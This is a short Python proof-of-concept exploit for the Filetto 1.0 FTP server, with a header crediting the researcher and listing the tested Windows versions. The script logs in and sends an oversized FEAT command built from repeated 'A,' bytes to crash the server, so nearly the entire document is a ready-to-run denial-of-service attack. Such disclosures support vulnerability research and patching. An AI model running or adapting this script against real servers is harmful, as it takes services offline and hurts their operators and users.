Filetto 1.0 Denial Of Service

`# Exploit Title: Filetto v1.0 - 'FEAT' Denial of Service (PoC)   
# Date: [05-13-2020]  
#  
# Found by: Alvaro J. Gene (Socket_0x03)  
# Email: Socket_0x03 (at) teraexe (dot) com  
# Website: www (dot) teraexe (dot) com  
#  
# Software Link: https://sourceforge.net/projects/filetto  
# Vulnerable Application: Filetto  
# Version: 1.0 (last version. Updated: 01/31/2020)  
# Server: FTP Server  
# Vulnerable Command: FEAT  
# Tested on: Windows XP SP2 and Windows 7 SP1.  
  
  
from socket import *  
  
host = "192.168.0.14"  
port = 2021  
username = "Socket_0x03"  
password = "password"  
  
s = socket(AF_INET, SOCK_STREAM)  
s.connect((host, port))  
print s.recv(1024)  
  
s.send("USER %s\r\n" % (username))  
print s.recv(1024)  
  
s.send("PASS %s\r\n" % (password))  
print s.recv(1024)  
  
buffer = "FEAT "  
buffer += "\x41\x2c" * 11008  
buffer += "\r\n"  
  
s.send(buffer)  
print s.recv(1024)  
  
s.close()  
`